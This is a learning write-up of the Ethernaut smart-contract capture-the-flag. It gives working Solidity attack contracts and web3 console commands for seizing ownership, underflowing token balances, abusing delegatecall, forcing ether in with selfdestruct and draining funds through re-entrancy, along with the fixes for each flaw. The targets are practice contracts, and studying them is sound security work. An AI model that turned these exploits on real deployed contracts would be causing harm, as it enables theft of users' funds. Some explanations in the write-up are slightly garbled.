Ethernaut: Ethereum Smart Contract CTF Writeup
After a final exam, it’s time to have some kind of relax and prepare for senior project in next semester. Since my senior project topic is about Ethereum blockchain , apart from under stand its architecture, I have to hands on an experience for writing smart contract. I think “break it to learn it” is one of a good way to learn anything, so I search for Ethereum smart contract CTF and found this one, https://ethernaut.zeppelin.solutions. Its pronunciation is synonym with eternaut, I think it was a popular comic at the period of time. In this CTF, there is a set of vulnerabilities smart contracts, to archive the goal of each challenge requires you to find a flaw in a given source code, then, beat it. I encourage you to do it yourself first before reading this writeup.
Tools that make will make your life easier
Metamask: Chrome extension that will brings Ethereum to our browser.
Remix Solidity IDE: some challenge requires you to write a smart contract, this one is a great IDE.
1. Fallback
To win this challenge
- owns the target contract.
- reduce its balance to 0.
An introduction to fallback
function. Let’s read the doc.
Fallback Function
A contract can have exactly one unnamed function. This function cannot have arguments and cannot return anything. It is **executed on a call to the contract if none of the other functions match the given function identifier (or if no data was supplied at all).**
Furthermore, this function is **executed whenever the contract receives plain Ether (without data).**
From the doc, we see that the fallback function is executed when
- you call a function that don’t matches any function name on the contract.
- you don’t assign any data to the trasaction (e.g. send pure transaction).
So This is how we do to win the challenge.
> await contract.contribute({value:555}) //for become a contributor
> await contract.sendTransaction({value:555}) //for invoke fallback function, become an owner
> await contract.withdraw() //get all the money
2. Fallout
We have to claim ownership of the target contract. While take a look at a given source code I found something interesting.
/* constructor */
function Fal1out() payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
Wait, a comment on Fal1back
aims it to be a constructor but it is not the same name
with the contract name (Fallback
). So it is not constrcutor, it is a function
.
And when we call this function it will assign the sender to become an owner.
await contract.Fal1out()
This is all we have to do. We will become the owner and the winner at the same time.
3. Token
The goal here is to find the way to get more token.
There is only one function that could be an attack vector.
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
In this function do you see something wrong?. The only one condition to transfer is the balance of our token must more than the amount of value we want to transfer. The condition is not coverage enough. What if we send negative value. At the beginning we have 20 tokens. When we call transfer with address parameter as the target contract and the negative value to trick an intergered overflow.
await contract.transfer(instance, -55555)
So we have to check the amout of value that it is greater that zero or not.
_value > 0
4. Delegation
Claims ownership and win this challenge.
The current level contract owns this contract now.
> level
"0x68....."
> await contract.owner()
"0x68....."
There are two smart contract, Delegate
and Delegation
.
In a fallback function of the Delegation
there is a delegatecall
to any function in
Delegate
according to the data in a transaction. Thanks a pwn()
function, when we call it we will become an owner. Let’s find the way to call this one.
(delegatecall
is a method for call function on the other contract while refering the caller’s storage
, address and balance.)
When you call any function in Ethereum smart contract.
For example, you call withdraw(55555)
.
Here is the data sent in the transaction.
0x2e1a7d4d000000000000000000000000000000000000000000000000000000000000d903
We can check this in etherscan.
How this data come from?.
First of all, we divide a function name and the argument(withdraw
, 55555
). We will look at the argument data type
. Since 55555
is uint256
We will structs the term with the function name and its data type of each argument.
withdraw(uint256)
We will compute Keccak-256 SHA3
on it and get only the first 4 bytes
.
keccak256("withdraw(uint256)") = "0x2e1a7d4d13322e7b96f9a57413e1525c250fb7a9021cf91d1540d5b69f16a49f"
and we get only "0x2e1a7d4d" or "2e1a7d4d" // first 4 bytes
This is what we call MethodID
in Ethereum smart contract.
After that, we will put each argument in hex
format, so if your balance is 55555
, the argument in the data will be d903
. We have to add a zero padding, since unit256
has 32 bytes. Our argument will becomes
000000000000000000000000000000000000000000000000000000000000d903
Putting it altogether, we have our data.
0x2e1a7d4d000000000000000000000000000000000000000000000000000000000000d903
Of course some function has more than one argument, just put the next argument with zero padding after the previous argument and don’t forget to put its data type to compute Keccak-256 SHA3 (e.g. transfer(address,uint256)
)
This is the data we have to send to call pwn()
.
bytes4(keccak256("pwn()")) => dd365b8b //first 4 bytes, since there is no argument
We can use Keccak-256 SHA3
in web3 with web3.sha3(...)
.
> let mydata = web3.sha3("pwn()").substring(2,10)
> await contract.sendTransaction({data:mydata})
And you will be the owner now.
> await contract.owner()
"0x07....."
(or you can use Remix and just click on the pwn() function button)
Remember that this is not a vulnerability in Ethereum, it is a developer error. If you can remember, Parity Multisig was hacked with 31 Millions Ether stolen with this kind of error a few months ago.
5. Force
Make the balanece of the contract greater than zero and win this challenge, hmm, how easy it is. But wait, when we look at a given source code. It is an empty contract.
If we try to send transaction directly to the target contract, it will show falied
status.
Because there is no payable
function since it is an empty contract. How to force
this contract to
recieve our ether?. Let’s deep dive into the doc.
A contract without a payable fallback function can receive Ether as a recipient of a coinbase transaction (aka miner block reward) or as a destination of a `selfdestruct`.
A contract cannot react to such Ether transfers and thus also `cannot reject them`. This is a design choice of the EVM and Solidity cannot work around it.
You see that we can
- set to recipient of a coinbase transaction
- use
selfdestruct
Let’s use selfdestruct
. Whenever it is called, that contract will be changed to suicide
state
and send all money to the the address in a given parameter.
pragma solidity ^0.4.18;
contract ForcePwn{
address public victim_address;
function ForcePwn(address _address){
victim_address = _address;
}
function pwn() payable{
selfdestruct(victim_address);
}
}
Create this contract with the target contract address as a parameter, then, call pwn()
with some ether. Our contract will has suicide
state and send all ether to the target contract.
6. King
To win this challenge, you are required to be the king.
> level
"0x32....."
> await contract.king()
"0x32....."
> let prize = await contract.prize()
> fromWei(prize.toNumber())
"1"
From the information above, the king is the current level contract with the prize of 1 ether. Considering a condition in the fallback function.
require(msg.value >= prize || msg.sender == owner);
Because we are not the owner, so the second solution will be false
.
Nevermind, there is the first condition for us since it is an OR operation.
The solution is to send ether more than the prize to become the king. In this case, sending
more than 1 ether.
await contract.sendTransaction({value:toWei(1.01)})
And now you are the king.
(According to the challenge description, after we submit the instance, the current level contract shoud reclaims my throne, but nothing else happens)
7. Re-entrancy
Only one goal here, steals all funds of the target contract.
Thanks to the challenge name, I search for what Re-entrancy
means.
I found this blog which has a well explaination on what it is and how the attack works. The Dao got hacked with this vulnerability last year.
The vulnerable part is that the contract send ether to sender before
reducing the sender balance in the system.
We will use the fallback function to complete our attack. Here is my smart contract to attack the target smart contract.
pragma solidity ^0.4.18;
import './Reentrance.sol';
contract ReentrancyPwn{
Reentrance public reentrance;
// Constructor
function ReentrancyPwn(address victim_address){
reentrance = Reentrance(victim_address);
}
// For sending the stolen money to my self :)
function kill(){
selfdestruct(msg.sender);
}
function() payable {
reentrance.withdraw(0.5 ether);
}
}
Let’s have a simple debugging to understand how the attack work.
When we send transaction without any data to our smart contract.
The fallback function will be triggered(5
)
, it will calls the withdraw function on the target smart contract(1
).
Before sending any ether, the target smart contract will validates the amount of withdrawal(2
),
then will transfer ether to the withdrawer (our smart contract)(3
).
Here is where the attack happens. It should reduce the balance in the system at 4
. Unfortunately, it is not.
When the target contract transfer money to our contract it will calls the fallback function
of our contract (5
) (since there is no any data transfer, just pure transaction).
Do you feel that we have reached this point before?, you are right we are in the loop.
5 > 6 > 1 > 2 > 3 > 5 > 6 > 1 > 2 > 3 > 5 ...
We will recieve ether from the target for each loop because the balance of the withdrawer
don’t being reduced (don’t reachs 4
)
and the loop will end when running out of gas or the target contract has no enough ether to send.
And again, this is a human error, not a flaw in Ethereum.
You will see that we can prevent this kind of attack by reducing the sender balance
before transfer any ether, or speaking in the code language, puts 4
before 3
.
It is an awesome CTF, many thanks to Zeppelin team. I learn a lot about Ethereum smart contract like how the magic of smart contract works just only sending a transaction , structure and data types of solidity language , things to mention on security flaw when we write smart contract , understand that writing secure smart contract is a tricky challenge and not an easy task to complete. It will be my pleasure if you have any suggestion or alternative solution to share to the other here.